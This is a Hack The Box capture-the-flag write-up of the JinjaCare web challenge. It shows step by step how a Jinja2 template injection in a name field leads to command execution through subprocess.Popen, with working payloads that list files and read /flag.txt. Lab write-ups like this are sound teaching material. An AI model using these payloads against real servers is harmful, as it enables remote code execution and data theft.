Hack The Box: JinjaCare Writeup

Challenge Link: JinjaCare — HTB

Challenge Description

JinjaCare is a web application designed to manage COVID-19 vaccination records. It allows users to view their personal information, medical history, and generate digital vaccination certificates. Your task is to discover vulnerabilities in the system and extract the hidden flag.


Recon and Initial Exploration

Upon launching the instance, the home page of the JinjaCare app is displayed. The application allows user registration and login, which redirects to a dashboard with three key sections:

  • Personal Information
  • Medical History
  • Vaccination Records

Given the challenge title “JinjaCare”, I suspected a Server-Side Template Injection (SSTI) vulnerability, likely due to the use of the Jinja2 template engine.


Finding SSTI in the “Full Name” Field

Navigating to the Personal Information page, I tested for SSTI in the Full Name field. I entered the following simple payload:

{{2+2}}

After submitting the form and downloading the generated PDF certificate, the Full Name field displayed 4, confirming SSTI.


Gaining Code Execution with SSTI

With SSTI confirmed, I began enumerating Python classes to gain Remote Code Execution (RCE).

Step 1: Listing All Python Classes

To enumerate available classes, I used this payload:

{{ ''.__class__.__mro__[1].__subclasses__() }}
  • ''.__class__ accesses the string class (str)
  • .__mro__[1] retrieves the superclass (object)
  • .__subclasses__() returns all classes that inherit from object

This lists many built-in classes, including ones useful for command execution.


Step 2: Finding the Popen Class Index

To find the class index of subprocess.Popen (used for running shell commands), I used

{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{ loop.index0 }} - {{ c }}
{% endif %}
{% endfor %}

This loops through all subclasses and prints the index of the class containing Popen. I found it at index 359.


Step 3: Executing Commands via Popen

With the index known, I executed shell commands using this payload:

{{ ''.__class__.__mro__[1].__subclasses__()[359]('id', shell=True, stdout=-1).communicate()[0].decode() }}

This runs the id command and returns its output:

  • stdout=-1 captures the output
  • .communicate()[0] gets the byte response
  • .decode() converts bytes to a readable string

The result of the id command appeared in the PDF:


Retrieving the Flag

Step 4: Listing Root Directory

Next, I listed the contents of the root directory using:

{{ ''.__class__.__mro__[1].__subclasses__()[359]('ls /', shell=True, stdout=-1).communicate()[0].decode() }}

The response revealed a file named flag.txt.


Step 5: Reading the Flag

Finally, to read the contents of the flag file:

{{ ''.__class__.__mro__[1].__subclasses__()[359]('cat /flag.txt', shell=True, stdout=-1).communicate()[0].decode() }}

The flag appeared in the downloaded PDF certificate:


Conclusion

This challenge showcases how a simple SSTI vulnerability can escalate to full command execution if user input is rendered unsafely within a server-side template. By understanding how Python’s object hierarchy and Jinja2 internals work, it’s possible to exploit such vulnerabilities to compromise the system.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top